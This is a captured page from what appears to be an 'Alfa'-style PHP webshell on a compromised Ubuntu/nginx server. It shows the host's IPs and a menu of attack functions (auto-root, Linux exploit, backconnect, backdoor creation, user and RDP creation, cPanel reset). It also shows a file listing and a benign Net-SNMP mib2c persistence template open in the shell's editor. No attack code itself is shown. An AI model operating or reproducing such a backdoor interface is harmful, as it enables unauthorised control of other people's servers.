Linux ubuntu 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
nginx/1.24.0
: 67.217.245.49 | : 216.73.216.153
Cant Read [ /etc/named.conf ]
8.3.6
www-data
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
snmp /
mib2c-data /
[ HOME SHELL ]
Name
Size
Permission
Action
default-mfd-top.m2c
4.24
KB
-rw-r--r--
details-enums.m2i
2.59
KB
-rw-r--r--
details-node.m2i
3.35
KB
-rw-r--r--
details-table.m2i
999
B
-rw-r--r--
generic-ctx-copy.m2i
1007
B
-rw-r--r--
generic-ctx-get.m2i
3.47
KB
-rw-r--r--
generic-ctx-set.m2i
1007
B
-rw-r--r--
generic-data-allocate.m2i
1.59
KB
-rw-r--r--
generic-data-context.m2i
1.49
KB
-rw-r--r--
generic-get-U64.m2i
517
B
-rw-r--r--
generic-get-char.m2i
1.58
KB
-rw-r--r--
generic-get-decl-bot.m2i
760
B
-rw-r--r--
generic-get-decl.m2i
1.41
KB
-rw-r--r--
generic-get-long.m2i
519
B
-rw-r--r--
generic-get-oid.m2i
597
B
-rw-r--r--
generic-header-bottom.m2i
586
B
-rw-r--r--
generic-header-top.m2i
605
B
-rw-r--r--
generic-source-includes.m2i
794
B
-rw-r--r--
generic-table-constants.m2c
1.43
KB
-rw-r--r--
generic-table-enums.m2c
1.79
KB
-rw-r--r--
generic-table-indexes-from-oid...
2.14
KB
-rw-r--r--
generic-table-indexes-set.m2i
3.97
KB
-rw-r--r--
generic-table-indexes-to-oid.m...
1.61
KB
-rw-r--r--
generic-table-indexes-varbind-...
1.42
KB
-rw-r--r--
generic-table-indexes.m2i
2.17
KB
-rw-r--r--
generic-table-oids.m2c
3.43
KB
-rw-r--r--
generic-value-map-func.m2i
3.64
KB
-rw-r--r--
generic-value-map-reverse.m2i
1.49
KB
-rw-r--r--
generic-value-map.m2i
1.35
KB
-rw-r--r--
m2c-internal-warning.m2i
1.36
KB
-rw-r--r--
m2c_setup_enum.m2i
949
B
-rw-r--r--
m2c_setup_node.m2i
10.1
KB
-rw-r--r--
m2c_setup_table.m2i
1.62
KB
-rw-r--r--
m2c_table_save_defaults.m2i
4.37
KB
-rw-r--r--
mfd-access-container-cached-de...
17.68
KB
-rw-r--r--
mfd-access-unsorted-external-d...
40.09
KB
-rw-r--r--
mfd-data-access.m2c
10.31
KB
-rw-r--r--
mfd-data-get.m2c
4.87
KB
-rw-r--r--
mfd-data-set.m2c
4.72
KB
-rw-r--r--
mfd-doxygen.m2c
2.38
KB
-rw-r--r--
mfd-interactive-setup.m2c
11.79
KB
-rw-r--r--
mfd-interface.m2c
51.4
KB
-rw-r--r--
mfd-makefile.m2m
4.01
KB
-rw-r--r--
mfd-persistence.m2i
14.93
KB
-rw-r--r--
mfd-readme.m2c
29.72
KB
-rw-r--r--
mfd-top.m2c
16.96
KB
-rw-r--r--
node-get.m2i
3.6
KB
-rw-r--r--
node-set.m2i
7.52
KB
-rw-r--r--
node-storage.m2i
648
B
-rw-r--r--
node-validate.m2i
2.48
KB
-rw-r--r--
node-varbind-validate.m2i
2.02
KB
-rw-r--r--
parent-dependencies.m2i
1.89
KB
-rw-r--r--
parent-set.m2i
14.38
KB
-rw-r--r--
subagent.m2c
6.33
KB
-rw-r--r--
syntax-COUNTER64-get.m2i
1.13
KB
-rw-r--r--
syntax-DateAndTime-get.m2d
319
B
-rw-r--r--
syntax-DateAndTime-get.m2i
2.08
KB
-rw-r--r--
syntax-DateAndTime-readme.m2i
288
B
-rw-r--r--
syntax-InetAddress-get.m2i
2.89
KB
-rw-r--r--
syntax-InetAddress-set.m2i
852
B
-rw-r--r--
syntax-InetAddressType-get.m2i
980
B
-rw-r--r--
syntax-InetAddressType-set.m2i
938
B
-rw-r--r--
syntax-RowStatus-dependencies....
4.47
KB
-rw-r--r--
syntax-RowStatus-get.m2i
2.35
KB
-rw-r--r--
syntax-RowStatus-varbind-valid...
600
B
-rw-r--r--
syntax-StorageType-dependencie...
711
B
-rw-r--r--
syntax-TestAndIncr-get.m2i
753
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mfd-persistence.m2i
######################################################################## ## generic include for XXX. Do not use directly. ######################################################################## @if $m2c_mark_boundary == 1@ /** START code generated by mfd-persistence.m2i */ @end@ ######################################################################## @if $m2c_processing_type eq 'h'@ /* ********************************************************************* * Persistent declarations */ /* * persistence */ #define LINE_TERM_CHAR '$' void ${context}_container_init_persistence( netsnmp_container * container ); int ${context}_container_should_save(${context}_rowreq_ctx * rowreq_ctx); @end@ // m2c_processing_type eq 'h' ###################################################################### ###################################################################### ###################################################################### @if $m2c_processing_type eq 'c'@ /************************************************************ * the *_should_save routine is called to determine if a row * should be stored persistently. * * Note that this is not a 'dirty' check (i.e. if a row has changed), * but a check for volatile rows that should not be saved between * restarts. * * return 1 if the row should be stored * return 0 if the row should not be stored */ int ${context}_container_should_save(${context}_rowreq_ctx * rowreq_ctx) { @ foreach $node column@ @ if "$node.syntax" eq "StorageType"@ @ include m2c_setup_node.m2i@ if (SNMP_STORAGE_VOLATILE == $m2c_ctx_rh ) return 0; @ end@ @ end@ return 1; /* save the row */ } @end@ // m2c_processing_type eq 'h' ###################################################################### ###################################################################### ###################################################################### @if $m2c_processing_type eq 'i'@ /*********************************************************************** * * PERSISTENCE * ***********************************************************************/ static int _${context}_container_save_rows(int majorID, int minorID, void *serverarg, void *clientarg); static void _${context}_container_row_restore(const char *token, char *buf); static int _${context}_container_row_save( ${context}_rowreq_ctx *rowreq_ctx, void *type); static char * _${context}_container_col_restore( ${context}_rowreq_ctx *rowreq_ctx, u_int col, char* buf); static char * _${context}_container_col_save( ${context}_rowreq_ctx *rowreq_ctx, u_int col, char* buf); static char row_token[] = "${context}"; /************************************************************ * *_init_persistence should be called from the main table * init routine. * * If your table depends on rows in another table, * you should register your callback after the other table, * which should ensure the rows on which you depend are saved * (and re-created) before the dependent rows. */ void ${context}_container_init_persistence( netsnmp_container * container ) { int rc; register_config_handler(NULL, row_token, _${context}_container_row_restore, NULL, NULL); rc = snmp_register_callback( SNMP_CALLBACK_LIBRARY, SNMP_CALLBACK_STORE_DATA, _${context}_container_save_rows, container); if( rc != SNMP_ERR_NOERROR ) snmp_log(LOG_ERR, "error registering for STORE_DATA callback " "in _${context}_container_init_persistence\n"); } static int _${context}_container_save_rows(int majorID, int minorID, void *serverarg, void *clientarg) { char sep[] = "##############################################################"; char buf[] = "#\n" "# $context persistent data\n" "#"; char *type = netsnmp_ds_get_string(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_APPTYPE); read_config_store((char*)type, sep); read_config_store((char*)type, buf); /* * save all rows */ CONTAINER_FOR_EACH((netsnmp_container*)clientarg, (netsnmp_container_obj_func*)_${context}_container_row_save, type); read_config_store((char*)type, sep); read_config_store((char*)type, "\n"); /* * never fails */ return SNMPERR_SUCCESS; } /************************************************************ * _${context}_container_row_save */ static int _${context}_container_row_save( ${context}_rowreq_ctx *rowreq_ctx, void *type) { /* * Allocate space for a line with all data for a row. An * attempt is made to come up with a default maximum size, but * there is no guarantee it will be enough. It probably will be, * unless you are dealing with large values or you have external * indexes. * * 1) allocate space for each column. Comment out columns you don't * intend to save. You may also need to add room for any non- * column data you want to store. Remeber, data will be stored in * ASCII form, so you need to allow for that. Here are some * general guidelines: * * Object ID : 12 * len [ASCII len of max int + 1 for .] * Octet String: (2 * len) + 2 [2 ASCII chars per byte + "0x"] * Integers : 12 [ASCII len for smallest negative number] * * 2) You also need to allocate space for the row index. This will * be stored as an OID, which means that Octet Strings need to * be treated a little differently. Specifically, you will need * (4 * len) + 4 [3 ASCII chars per byte + 1 for ., + 4 for len]. * * 3) Also, remember to add space for the identifier and separator * characters (for example, each column is prefixed by the * column number and a semicolon. To allow for the maximum * column values, 12 bytes [11 for oid + 1 for ':'] per * column are added). */ /** xxx: add storage for external index(s)! */ #define MAX_ROW_SIZE (sizeof(row_token) + 1 + \ @ if $ext_index != 0@ ( 12 * 128 ) + /* external interfaces - max 128 subids */ \ @ end@ @ foreach $node nonindex@ @ include m2c_setup_node.m2i@ @ if ($node.settable == 1)@ @ if "$node.type" eq "ASN_OBJECT_ID"@ ( ( 12 * sizeof(${m2c_ctx_rh}) ) + 3 ) + /* $node.type */ \ @ elsif "$node.type" eq "ASN_OCTET_STR"@ ( ( 2 * sizeof(${m2c_ctx_rh}) ) + 3 ) + /* $node.type */ \ @ else@ ( 12 ) + /* $node.type $node */ \ @ end@ @ end@ @ end@ ( $table.uc_MAX_COL * 12 ) + /* column num prefix + : */ \ 2 /* LINE_TERM_CHAR + \n */ ) char buf[MAX_ROW_SIZE], *pos = buf, *max = &buf[MAX_ROW_SIZE-1]; char *tmp; int i; if (${context}_container_should_save(rowreq_ctx) == 0) { return SNMP_ERR_NOERROR; } /* * build the line */ pos += sprintf(pos, "%s ", row_token); pos = read_config_save_objid(pos, rowreq_ctx->oid_idx.oids, rowreq_ctx->oid_idx.len); if(NULL == pos) { snmp_log(LOG_ERR,"error saving ${context} row " "to persistent file\n"); return SNMP_ERR_GENERR; } *pos++ = ' '; if(pos > max) { snmp_log(LOG_ERR,"error saving ${context} row " "to persistent file (too long)\n"); return SNMP_ERR_GENERR; } /* * add each column */ for(i = $table.uc_MIN_COL; i <= $table.uc_MAX_COL; ++i ) { if ((0x1 << (i-1)) & ~$context.uc_SETTABLE_COLS) continue; tmp = pos; pos = _${context}_container_col_save(rowreq_ctx, i, pos); if(NULL == pos) pos = tmp; else *pos++ = ' '; if(pos > max) { snmp_log(LOG_ERR,"error saving ${context} row " "to persistent file (too long)\n"); return SNMP_ERR_GENERR; } } /* * if you have non-column data, add it here */ /* * store the line */ pos += sprintf(pos, "%c", LINE_TERM_CHAR); if(pos > max) { snmp_log(LOG_ERR,"error saving ${context} row " "to persistent file (too long)\n"); return SNMP_ERR_GENERR; } read_config_store((char*)type, buf); DEBUGMSGTL(("internal:${context}:_${context}_container_row_save", "saving line '%s'\n", buf)); return SNMP_ERR_NOERROR; } static void _${context}_container_row_restore(const char *token, char *buf) { ${context}_rowreq_ctx * rowreq_ctx; netsnmp_index index; oid tmp_oid[ MAX_${context}_IDX_LEN]; u_int col = 0, found = 0; if (strncmp(token, row_token, sizeof(row_token)) != 0) { snmp_log(LOG_ERR, "unknown token in _${context}_container_row_restore\n"); return; } DEBUGMSGTL(("internal:${context}:_${context}_container_row_restore", "parsing line '%s'\n", buf)); /* * pull out index and create default row */ index.oids = tmp_oid; index.len = OID_LENGTH(tmp_oid); buf = read_config_read_objid(buf, &index.oids, &index.len); if (NULL == buf) { snmp_log(LOG_ERR, "error reading row index in " "_${context}_container_row_restore\n"); return; } rowreq_ctx = _mfd_${context}_rowreq_from_index( &index, NULL ); if (NULL == rowreq_ctx) { snmp_log(LOG_ERR, "error creating row index in " "_${context}_container_row_restore\n"); return; } /* * loop through and get each column */ buf = skip_white(buf); while ( (NULL != buf) && isdigit(*buf) ) { /* * extract column, skip ':' */ col = (u_int)strtol(buf, &buf, 10); if (NULL == buf) break; if (*buf != ':') { buf = NULL; break; } ++buf; /* skip : */ /* * parse value */ DEBUGMSGTL(("_${context}_container_row_restore", "parsing column %d\n", col)); buf = _${context}_container_col_restore( rowreq_ctx, col, buf ); ++found; } if (0 == found) { snmp_log(LOG_ERR, "error parsing ${context} row; no columns found\n"); ${context}_release_rowreq_ctx( rowreq_ctx ); return; } /* * if you added any non-column data, this is where * you should handle it. */ /* * if the pointer is NULL and we didn't reach the * end of the line, something went wrong. Log message, * delete the row and bail. */ if ((buf == NULL) || (*buf != LINE_TERM_CHAR)) { snmp_log(LOG_ERR, "error parsing ${context} row around column %d\n", col); ${context}_release_rowreq_ctx( rowreq_ctx ); return; } DEBUGMSGTL(("internal:${context}:_${context}_container_row_restore", "inserting row\n")); /* * copy oid index and insert row */ rowreq_ctx->oid_idx.len = index.len; memcpy(rowreq_ctx->oid_idx.oids, index.oids, index.len * sizeof(oid)); CONTAINER_INSERT(${context}_if_ctx.container, rowreq_ctx); } /************************************************************ * _${context}_container_col_save */ static char * _${context}_container_col_save( ${context}_rowreq_ctx *rowreq_ctx, u_int col, char* buf) { if( ( NULL == rowreq_ctx ) || ( NULL == buf )) { snmp_log(LOG_ERR, "bad parameter in " "_${context}_container_col_save\n"); return NULL; } DEBUGMSGTL(("internal:${context}:_${context}_container_col_save", "processing column %d\n", col)); /* * prefix with column number, so we don't ever depend on * order saved. */ buf += sprintf(buf, "%u:", col); /* * save data for the column */ switch(col) { @ foreach $node nonindex@ @ include m2c_setup_node.m2i@ case COLUMN_$node.uc: /** $node.syntax = $node.type */ @ if $m2c_node_needlength == 1@ @ if "$node.type" eq "ASN_OBJECT_ID"@ buf = read_config_save_objid(buf, ${m2c_ctx_rh}, ${m2c_ctx_rhs} ); @ else@ # "$node.type" eq "ASN_OCTET_STR"@ buf = read_config_save_octet_string(buf, ${m2c_ctx_rh}, ${m2c_ctx_rhs} ); @ end@ @ elsif "$node.type" eq "ASN_INTEGER"@ buf += sprintf(buf,"%ld",${m2c_ctx_rh}); @ else@ buf += sprintf(buf,"%lu",${m2c_ctx_rh}); @ end@ break; @ end@ # for each default: /** We shouldn't get here */ snmp_log(LOG_ERR, "unknown column %d in " "_${context}_container_col_save\n", col); return NULL; } return buf; } /************************************************************ * _${context}_container_col_restore */ static char * _${context}_container_col_restore( ${context}_rowreq_ctx *rowreq_ctx, u_int col, char* buf) { size_t len; if( ( NULL == rowreq_ctx ) || ( NULL == buf )) { snmp_log(LOG_ERR, "bad parameter in " "_${context}_container_col_restore\n"); return NULL; } DEBUGMSGTL(("verbose:${context}:_${context}_container_col_restore", "processing column %d\n", col)); /* * restore data for the column */ switch(col) { @ foreach $node nonindex@ @ include m2c_setup_node.m2i@ case COLUMN_$node.uc: /** $node.syntax = $node.type */ @ if $m2c_node_needlength == 1@ ${m2c_ctx_rhs} = sizeof(${m2c_ctx_rh}); buf = read_config_read_memory($node.type,buf, (char*)&${m2c_ctx_rh}, (size_t*)&${m2c_ctx_rhs} ); @ if "$node.type" eq "ASN_OBJECT_ID"@ ${m2c_ctx_rhs} /= sizeof(oid); @ end@ @ else@ len = sizeof(${m2c_ctx_rh}); @ if "$node.type" eq "ASN_OCTET_STR"@ # BITS @ eval $m2c_tmp = "ASN_INTEGER"@ @ else@ @ eval $m2c_tmp = $node.type@ @ end@ buf = read_config_read_memory($m2c_tmp, buf, (char*)&${m2c_ctx_rh}, &len); @ end@ @ if $m2c_table_sparse == 1@ if (NULL != buf) rowreq_ctx->column_exists_flags |= COLUMN_$node.uc_FLAG; @ end@ # table sparse break; @ end@ # foreach col default: /** We shouldn't get here */ snmp_log(LOG_ERR, "unknown column %d in " "_${context}_container_col_restore\n", col); return NULL; } return buf; } ## @end@ // $m2c_processing_type eq 'i' ######################################################################## @if $m2c_mark_boundary == 1@ /** END code generated by mfd-persistence.m2i */ @end@
Close